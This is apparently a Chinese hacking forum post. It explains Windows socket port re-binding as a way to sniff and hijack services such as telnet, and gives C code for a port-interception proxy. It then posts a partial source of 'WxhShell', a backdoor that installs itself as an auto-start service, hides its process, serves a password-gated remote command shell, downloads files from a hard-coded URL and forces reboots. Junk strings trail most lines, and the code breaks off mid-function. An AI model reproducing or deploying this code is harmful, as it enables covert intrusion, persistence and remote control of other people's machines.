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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: wZ4w`|'  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); e5RF6roxO  
[ Y+Ta,  
  saddr.sin_family = AF_INET; !3F3E8%  
Su/8P[q_  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); {W+IUvn  
vf&_ N  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); RW{y.WhB  
U$yy7}g  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Qy ghNImp  
(}g4}A@x  
  这意味着什么?意味着可以进行如下的攻击: b5Q|$E   
hrNB"W|?x  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 GYZP?E p*  
rp9?p%  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) {N3&JL5\"E  
{Qi J-[q  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 :)Pj()Os|  
N0DzFXp  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  :KmnwYm  
&(7=NAQsE  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 dI%?uk  
6k_Uq.<X  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 i0:1+^3^U  
.k:heN2-x  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [rkw k\m*  
!4-4i  
  #include X+1Mv  
  #include d-3.7nJ:  
  #include /#WvC;B  
  #include    V7b;qC'  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Rk,'ujc  
  int main() beaSvhPU  
  { =t^jlb  
  WORD wVersionRequested; O 1D|T"@  
  DWORD ret; rFUR9O.{E  
  WSADATA wsaData; G9^xv  
  BOOL val; vgE -t  
  SOCKADDR_IN saddr; )I#{\^  
  SOCKADDR_IN scaddr; mC0_rN^Aj  
  int err; q<j9l'dHG  
  SOCKET s; #c!rx%8I  
  SOCKET sc; Lqdapx"Z_  
  int caddsize; }DQTy.d;P  
  HANDLE mt; ^@3,/dH1 t  
  DWORD tid;   5(gWK{R)*  
  wVersionRequested = MAKEWORD( 2, 2 ); Eug RC  
  err = WSAStartup( wVersionRequested, &wsaData ); tr5j<O  
  if ( err != 0 ) { SRtw  
  printf("error!WSAStartup failed!\n"); Jz}`-fU`  
  return -1; VKkvf"X  
  } QM![tZt%;  
  saddr.sin_family = AF_INET; o\F>K'  
   a:8 MoH4  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ;4U"y8PVTh  
l?QA;9_R'  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ta6>St7.  
  saddr.sin_port = htons(23); "~=-Q#xO  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Nm !~h|3  
  { RIQ-mpg~(k  
  printf("error!socket failed!\n"); eF]8Ar1  
  return -1; R# T 6]  
  } `Xz!apA  
  val = TRUE; G^N@ r:RS  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 4Q/{lqG  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) OP<N!y?[  
  { "u]&~$  
  printf("error!setsockopt failed!\n"); GeDI\-  
  return -1; r;xy/*%Mtj  
  } ~`Rar2%B  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ?JG^GD7D  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 D2g/P8.<A  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 d<+hQ\BF,  
w >2sr^!y  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8\"Gs z  
  { Y)DAR83  
  ret=GetLastError(); a2Nxpxho  
  printf("error!bind failed!\n"); WW.@&#S5  
  return -1; }toe'6  
  } m~ 5"q%;  
  listen(s,2); cF 4,dnI  
  while(1) y=c={Qz@vn  
  { gyMHC{l/B  
  caddsize = sizeof(scaddr); iGSA$U P|  
  //接受连接请求 67hfve  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); gROK4'j6y  
  if(sc!=INVALID_SOCKET) 0^R, d M  
  { zz[fkH3  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); B2oKvgw  
  if(mt==NULL) 'da 'WZG  
  { O!%T<2i3  
  printf("Thread Creat Failed!\n"); rf-yUH]&S  
  break; }NoP(&ebz*  
  } hf]m'5pb  
  } gyD;kn\CP  
  CloseHandle(mt); i(pHJP:a:  
  } 2,dWD<h  
  closesocket(s); T\n6^@.>  
  WSACleanup(); E_En"r)y  
  return 0; S :8  
  }   70GBf"  
  DWORD WINAPI ClientThread(LPVOID lpParam) 'AX5V-t  
  { 8 eK8-R$  
  SOCKET ss = (SOCKET)lpParam; $&&E[JY  
  SOCKET sc; 2mn AL#  
  unsigned char buf[4096]; ^P^%Q)QXl  
  SOCKADDR_IN saddr; e*qGrg(E  
  long num; E(j# R"  
  DWORD val; P woiX#vz  
  DWORD ret;  *<W8j[?  
  //如果是隐藏端口应用的话,可以在此处加一些判断 S\h5 D2G;  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   v+"4YIN  
  saddr.sin_family = AF_INET; w6Nn x5Ay  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); SF&2a(~s  
  saddr.sin_port = htons(23); hiBsksZRnk  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) GyWa=KW.u  
  { 71\53Qr#U  
  printf("error!socket failed!\n"); 3ZI7;Gw  
  return -1; &}[P{53sr  
  } C6[W/,eS  
  val = 100; t+}w Tis  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Bp_R"DS7A  
  { 7]xDMu'^&f  
  ret = GetLastError(); R?O)v Lmd  
  return -1; 6IG?t  
  } B Z|A&;  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &G\mcstX  
  { 3q}j"x?  
  ret = GetLastError(); eFG(2OVg}M  
  return -1; ?/"|tuQMW  
  } cd1G.10  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) R8k4?_W?T  
  { R__:~ uv,  
  printf("error!socket connect failed!\n"); } 1e4u{  
  closesocket(sc); UPU$SZAIx  
  closesocket(ss); VJqk0w+  
  return -1; ]vlBYAW'  
  } R`cP%7K  
  while(1) o(oOB  
  { a3<:F2=~\  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 @2/|rq  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 OIL8'xY.w  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 NDP" @  
  num = recv(ss,buf,4096,0); [p9v#\G; [  
  if(num>0) dv>n38&mDQ  
  send(sc,buf,num,0); bO2?DszT5  
  else if(num==0) H #_Zv]  
  break; Z;Hkx1  
  num = recv(sc,buf,4096,0); /@k#tdj  
  if(num>0) M&j|5UH%.  
  send(ss,buf,num,0); <mE`<-$  
  else if(num==0) X n$ZA-  
  break; R,G*]/r`  
  } :R,M Y"(  
  closesocket(ss); Ha`N  
  closesocket(sc); nf/?7~3?[  
  return 0 ; b/'c h  
  } Mg.%&vH\  
N! 7}B  
iyl i/3|  
========================================================== RkYn6  
:.,9}\LK  
下边附上一个代码,,WXhSHELL ]alc%(=  
t`"m@  
========================================================== ]a4U\yr  
M_};J;  
#include "stdafx.h" cdt9hH`Cd  
l,7& z  
#include <stdio.h> p0bWzIH  
#include <string.h> kun/KY  
#include <windows.h> &rBe -52  
#include <winsock2.h> &.,K@OFE}  
#include <winsvc.h> zHb [.ry~  
#include <urlmon.h> t1adS:)s  
e4tIO   
#pragma comment (lib, "Ws2_32.lib") MqnUym  
#pragma comment (lib, "urlmon.lib") 0I)$!1~O)  
/RxP:>hVv  
#define MAX_USER   100 // 最大客户端连接数 '\I(n|\  
#define BUF_SOCK   200 // sock buffer 2+gbMd4n  
#define KEY_BUFF   255 // 输入 buffer p H  y  
C7FQc {  
#define REBOOT     0   // 重启 1IA1;  
#define SHUTDOWN   1   // 关机 2K91E}  
#[#evlr=  
#define DEF_PORT   5000 // 监听端口 jW\:+Taq  
;7lON-@BI  
#define REG_LEN     16   // 注册表键长度 6P1s*u  
#define SVC_LEN     80   // NT服务名长度 2'Dl$DH  
HrBJi  
// 从dll定义API a/j;1xcc<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); F3}MM dX  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {h?pvH_>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  2h   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Mj MDD  
KGy 3#r;Q  
// wxhshell配置信息 G%erh}0~  
struct WSCFG { ep"[; $Eb  
  int ws_port;         // 监听端口 J:m/s9r  
  char ws_passstr[REG_LEN]; // 口令 JXK\mah  
  int ws_autoins;       // 安装标记, 1=yes 0=no y&zFS4"x  
  char ws_regname[REG_LEN]; // 注册表键名 [tpiU'/Zl  
  char ws_svcname[REG_LEN]; // 服务名 EL?(D  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8}  B  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 W%!(kN&d  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 kh W.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no zeHF-_{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9GD0jJEu  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 fwFJe(.  
_RbfyyaN  
}; 6{y7e L3!  
fCr2'+O"b  
// default Wxhshell configuration t1FtYXv`/  
struct WSCFG wscfg={DEF_PORT, N)X Tmh2v|  
    "xuhuanlingzhe", '47 b"uV  
    1, !g|O.mt  
    "Wxhshell", b/'bhE=  
    "Wxhshell", d05xn7%!{  
            "WxhShell Service", ,Xn2xOP  
    "Wrsky Windows CmdShell Service", n%&L&G  
    "Please Input Your Password: ", Ay16/7h@hi  
  1, p R'J4~  
  "http://www.wrsky.com/wxhshell.exe", 0^ODJ7  
  "Wxhshell.exe"  ,&hv x  
    }; V.GM$  
!=dz^f.{  
// 消息定义模块 G?W:O{n3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Rd#R}yA  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Y!<m8\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; W{}$c`,R  
char *msg_ws_ext="\n\rExit."; rVz.Ws#  
char *msg_ws_end="\n\rQuit."; ED&nrd1P  
char *msg_ws_boot="\n\rReboot..."; "\b>JV5  
char *msg_ws_poff="\n\rShutdown..."; RQ,#TbAe  
char *msg_ws_down="\n\rSave to "; D\Ak-$kJ^  
QL/KY G  
char *msg_ws_err="\n\rErr!"; A[Mke  
char *msg_ws_ok="\n\rOK!"; ~:a1ELqVw  
UM7@c7B?  
char ExeFile[MAX_PATH]; {[H_Vl@  
int nUser = 0; C*Vm}|)  
HANDLE handles[MAX_USER]; {D4FYr J  
int OsIsNt; 6@N,'a8r  
8Qg10Yjy  
SERVICE_STATUS       serviceStatus; ]cpb;UfM  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Z=JKBoAY  
1sqE/-v1_^  
// 函数声明 P(D>4/f3"  
int Install(void); cJ4My#w  
int Uninstall(void); a"vzC$Hxd  
int DownloadFile(char *sURL, SOCKET wsh); [6!k:-t+  
int Boot(int flag); V\L;EHtc$  
void HideProc(void); is<:}z  
int GetOsVer(void); .vu7$~7  
int Wxhshell(SOCKET wsl); \o>-L\`O  
void TalkWithClient(void *cs); C]ss'  
int CmdShell(SOCKET sock); gu k,GF9p]  
int StartFromService(void); 5|H;%T 3_  
int StartWxhshell(LPSTR lpCmdLine); ,!:c6F+  
\*$^}8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >]h{[kU %4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 51k}LH  
d0aXA+S%  
// 数据结构和表定义 Qte5E}V`  
SERVICE_TABLE_ENTRY DispatchTable[] = .(@=L1C<}J  
{ UsE\p9mCuV  
{wscfg.ws_svcname, NTServiceMain}, WyO*8b_ D  
{NULL, NULL} (!}N&!t  
}; G+ /Q!ic  
,>j3zjf^  
// 自我安装 7'\. Q J!<  
int Install(void) 'Ea3(OsuXn  
{ fCY|iO0.t  
  char svExeFile[MAX_PATH]; 'm`O34h  
  HKEY key; EG{+Sz  
  strcpy(svExeFile,ExeFile); n`5Nf  
uKJ:)oyaCP  
// 如果是win9x系统,修改注册表设为自启动 Ik:G5m<ta  
if(!OsIsNt) { &f.5:u%{b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L ]')=J+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7P{= Pv+  
  RegCloseKey(key); 6r~9$IM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b^W&-Hh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); IL@yGuO,  
  RegCloseKey(key); P27Ot1px  
  return 0; ,HjJ jpE  
    } P y'BMk  
  } [+[ W\6  
} ~>:JwTy  
else { o]? yyP  
v^C\ GDH  
// 如果是NT以上系统,安装为系统服务 3p#UEH3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); LK h=jB^bT  
if (schSCManager!=0) ktU:Uq  
{ ) 57'<  
  SC_HANDLE schService = CreateService x^y$pr  
  ( Il =6t  
  schSCManager, A;U c&G  
  wscfg.ws_svcname, &GH [$(  
  wscfg.ws_svcdisp, [<B,6nAl  
  SERVICE_ALL_ACCESS, IogLkhWX  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , C >OeULD  
  SERVICE_AUTO_START, Hca(2 ]T-  
  SERVICE_ERROR_NORMAL, !{ &r|6  
  svExeFile, x.1= QF{!  
  NULL, =]@Bc 7@  
  NULL, Zr}>>aIJ]k  
  NULL, amsl>wc!  
  NULL, 11PL1zzH  
  NULL Vz mlKVE  
  ); ]y OM  
  if (schService!=0) 2^XmtT  
  { u$w.'lK  
  CloseServiceHandle(schService); @5Z|e  
  CloseServiceHandle(schSCManager); {V[xBL <  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |]kiH^Ap  
  strcat(svExeFile,wscfg.ws_svcname); W 8<QgpV*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,.Gp_BI  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ir^d7CV,   
  RegCloseKey(key); 'bfxQ76@sa  
  return 0; m0G"Aj  
    } xbiprhdv  
  } ?"b __(3  
  CloseServiceHandle(schSCManager); wGO-Z']i  
} H;=yR]E  
} Yyk~!G/@  
sD3Ts;k  
return 1; ` k] TOc  
} VmQ^F| {  
T#&1q]P1F  
// 自我卸载 frbd{o  
int Uninstall(void) S(=@2A+;  
{ c:${qY:!  
  HKEY key; rT="ciQ  
%\it4 r3  
if(!OsIsNt) { u&y> '  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -IIrrY O  
  RegDeleteValue(key,wscfg.ws_regname); Qz`evvH  
  RegCloseKey(key); q`AsnAzo&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { CQ!D{o=  
  RegDeleteValue(key,wscfg.ws_regname); nu^@}|UG  
  RegCloseKey(key); 5]{rim  
  return 0; !jP[=  
  } /8Lb_QH{  
} !UzE&CirV  
} ,vR>hyM  
else { }ll&EB  
:{w3l O  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); I>ML I=[Kg  
if (schSCManager!=0) r[E#JHw  
{ ^3HSw ?a"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); '(lsJY[-x  
  if (schService!=0) OBFM70K  
  { H~[q<ybxr  
  if(DeleteService(schService)!=0) { ~U<j_j)z4.  
  CloseServiceHandle(schService); #cR5k@  
  CloseServiceHandle(schSCManager); 41R~.?  
  return 0; ;4+z~7Je]^  
  } 2Jo|P A` 9  
  CloseServiceHandle(schService); (ht"wY#T<(  
  } hj=n;,a9  
  CloseServiceHandle(schSCManager); covCa)kf  
} z%fjG}z  
} i (rYc  
j\#)'>"  
return 1; C4E*q3[Y  
} D[T\_3 W  
L{sFR^-G  
// 从指定url下载文件 HmXxM:[4;  
int DownloadFile(char *sURL, SOCKET wsh) pDC`Fi  
{ 8f,",NCgc  
  HRESULT hr; yJx,4be  
char seps[]= "/"; %5ov!nm7  
char *token; } %3;j5 ;6  
char *file; iLdUus!  
char myURL[MAX_PATH]; =j_4!^  
char myFILE[MAX_PATH]; KjA7x  
w^~s4Q_>>  
strcpy(myURL,sURL); ,*$Y[UT  
  token=strtok(myURL,seps); J?p|Vy|9  
  while(token!=NULL) c7rC!v  
  { +o.#']}Pl  
    file=token; a#0*#&?7@  
  token=strtok(NULL,seps); Xk^<}Ep)c  
  } "97sH_ ,  
f`}u9!jVR  
GetCurrentDirectory(MAX_PATH,myFILE); jp-(n z\  
strcat(myFILE, "\\"); .Sm 8t$  
strcat(myFILE, file); RaiYq#X/  
  send(wsh,myFILE,strlen(myFILE),0); {s@&3i?ZiC  
send(wsh,"...",3,0);  LWo)x  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); I/h(*~/  
  if(hr==S_OK) JWt@vf~  
return 0; #,j m3M qj  
else 3&X5*-U  
return 1; 'fb&3  
]<},[s  
} ziAn9/sT  
P@etT8|V  
// 系统电源模块 V2Z^W^  
int Boot(int flag) +5ql`C  
{ X/!Y mV !  
  HANDLE hToken; X?8bb! g%Q  
  TOKEN_PRIVILEGES tkp; ylmVmHmc  
* se),CP!s  
  if(OsIsNt) { ~@^pX*%i  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); OoOwEV2p_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); rp-.\Hl/a  
    tkp.PrivilegeCount = 1; 3qfQlqJ&3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7n#Mh-vq  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); i piS=  
if(flag==REBOOT) { \a:-xwUu<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6.v)q,JL  
  return 0; K>+c2;t;  
} r^d:Po  
else { Kn+B):OY+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) M4XU*piz  
  return 0; Xt*h2&  
} V=GP_^F  
  } pr"q-S>E  
  else { w="  
if(flag==REBOOT) { K?wo AuY  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;;17 #T2  
  return 0; w3Qil[rg  
} n\scOM)3  
else { XQ k ,xQ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) B?XqH_=0L  
  return 0; BfvvJh_  
} p6{8t}  
} p-8x>dmP(  
{NIE:MXX  
return 1; ~<_P jV  
} ~ Q;qRx  
l;JB;0<s"  
// win9x进程隐藏模块 $T'lWD*  
void HideProc(void) [{-;cpM \  
{ K30{Fcb< h  
5 .b U2C  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _K>YB>W}7  
  if ( hKernel != NULL ) cr{f*U6`  
  { SR'u*u!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \H?r[]*c%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "Kn%|\YL@4  
    FreeLibrary(hKernel); [1`&\C_E  
  } <yE d'Z  
DmpD`^?-L  
return; yFqB2(Dv  
} GA)t!Xg^  
p?sC</R  
// 获取操作系统版本 ]OA8H[U-eA  
int GetOsVer(void) [RUYH5>Ik  
{ z/S}z4o/  
  OSVERSIONINFO winfo; bu r0?q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &qFy$`"  
  GetVersionEx(&winfo); Z:%~Al:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "f`{4p0v  
  return 1; n#5%{e>  
  else QK/~lN  
  return 0;  F| O  
} I.}E#f/A'  
||kUi=5  
// 客户端句柄模块 ^b`aO$  
int Wxhshell(SOCKET wsl) w ]$Hr   
{ nJo6;_MI!  
  SOCKET wsh; Ut^ {4_EC  
  struct sockaddr_in client; V> @+&q  
  DWORD myID;  HO =\  
0=KyupwXC  
  while(nUser<MAX_USER) ;bt%TxuKb  
{ D~JrO]mi  
  int nSize=sizeof(client); <@2g.+9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^NiS7)FX  
  if(wsh==INVALID_SOCKET) return 1; 2_Otv2  
<-m[0zg q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .qk_m-o  
if(handles[nUser]==0) OuF%!~V   
  closesocket(wsh); ).1 F0T  
else P>i[X0UnL  
  nUser++; YeCS`IXm  
  } s:\FlQ0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;sn]Blpq  
S U$U  
  return 0; nhPua&  
} ,O/ t6'  
$Q< >M B7  
// 关闭 socket <C,lHt  
void CloseIt(SOCKET wsh)  - }9a%  
{ KI{B<S3*Z  
closesocket(wsh); h#rziZ(  
nUser--; +&h<:/ V  
ExitThread(0); vCS D1~V_  
} P<A_7Ho  
h"DxgG  
// 客户端请求句柄 1x~dsM;q  
void TalkWithClient(void *cs) a6i%7Om  
{ z 8\z`#g!  
m_g2Cep  
  SOCKET wsh=(SOCKET)cs; \bPSy0  
  char pwd[SVC_LEN]; +GqUI~a  
  char cmd[KEY_BUFF]; +Q+>{HK  
char chr[1]; q t!0#z8  
int i,j; -3On^Wj]  
ii :E>O(0B  
  while (nUser < MAX_USER) { ;X XB^,  
DqGm  
if(wscfg.ws_passstr) { Ga1(T$ |H  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lo:{T _ay  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z->[:)c  
  //ZeroMemory(pwd,KEY_BUFF); ruQ1Cph  
      i=0; 8KHT"uc'*J  
  while(i<SVC_LEN) { sX,S]:X  
YK%rTbB(  
  // 设置超时 =U,mzY (  
  fd_set FdRead; yrQf PR  
  struct timeval TimeOut; DZqY=Sze  
  FD_ZERO(&FdRead); vfloha p  
  FD_SET(wsh,&FdRead); h"t\x}8qq  
  TimeOut.tv_sec=8; vk.P| Y-;  
  TimeOut.tv_usec=0; N Nw0 G&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); h@%a+6b?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); I@q(P>]X9  
@~8*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5dkXDta[G  
  pwd=chr[0]; ?z0N- A2C2  
  if(chr[0]==0xd || chr[0]==0xa) { 8ib%CYR  
  pwd=0; MkX=34oc^  
  break; V?&P).5)  
  } g[$4a4X  
  i++; G- eSHv  
    } ndS8p]P&o(  
dq^vK  
  // 如果是非法用户,关闭 socket ")@#B=8+3^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ch]{ =61  
} _kT{W]   
RJOW#e :  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); a9y+FCA  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {B[ }}wX$  
ug^esB  
while(1) { 2(H-q(  
f[wxt n'r  
  ZeroMemory(cmd,KEY_BUFF); 6os{q`/Q])  
($'5xPb  
      // 自动支持客户端 telnet标准   .X34[AXd  
  j=0; ;"|QW?>$D  
  while(j<KEY_BUFF) { -rlCE-S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?}"39n  
  cmd[j]=chr[0]; ' wni.E&  
  if(chr[0]==0xa || chr[0]==0xd) { ZY=a[K  
  cmd[j]=0; tr|)+~x3  
  break; _)[UartKx  
  } 3@\J#mR  
  j++; #jM-XK  
    } bW^C30m  
{BzE  
  // 下载文件 0sI7UK`m  
  if(strstr(cmd,"http://")) { XeX` h_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); d r$E:kr  
  if(DownloadFile(cmd,wsh)) Dvm[W),(k  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |dhKeg_  
  else W_lXY Z<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .I.B,wH8  
  } 2]=`^rC*  
  else { "/Pq/\,R|  
"{[\VsX|c  
    switch(cmd[0]) { gUY~ l= c  
  Q) =LbR{#  
  // 帮助 L}6!D zl  
  case '?': { 9qUkw&}H  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Oi<yT"7  
    break; 5i+cjT2  
  } -tfUkGdx;l  
  // 安装 ^@^K <SVc  
  case 'i': { `T{'ufI4B  
    if(Install()) !cW!zP-B*p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p0h E`!  
    else  zPN:)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Raf(m,o(  
    break; 9e Fj+  
    } xZA.<Yd^r  
  // 卸载 1Eb2X}XC  
  case 'r': { b8E7/~<z3  
    if(Uninstall()) Bk[C=<X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J";4+wA7  
    else < n/ 2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }$i/4?dYsQ  
    break; Xy r'rm5+b  
    } (AZAQ xt  
  // 显示 wxhshell 所在路径 wf`A&P5tF  
  case 'p': { a |#TnSk  
    char svExeFile[MAX_PATH]; HoK+g_9~  
    strcpy(svExeFile,"\n\r"); ]kd:p*U6P  
      strcat(svExeFile,ExeFile); %j.n^7i]^:  
        send(wsh,svExeFile,strlen(svExeFile),0); I-#7Oq:Np  
    break; )D ~ 5  
    } K&eT*JW>  
  // 重启 *wx95?H0Z  
  case 'b': { ERia5HnoD,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Zz"8  
    if(Boot(REBOOT)) EjMVlZC>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -iKoQkHt  
    else { _ s*p$/V\  
    closesocket(wsh); .><-XJ  
    ExitThread(0); &8?O ~X=/  
    } G"w [>m  
    break; [:uHe#L  
    } "c\WZB`|  
  // 关机 5?Pf#kq  
  case 'd': { @)U;hk)j;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); t<o7 S:a"  
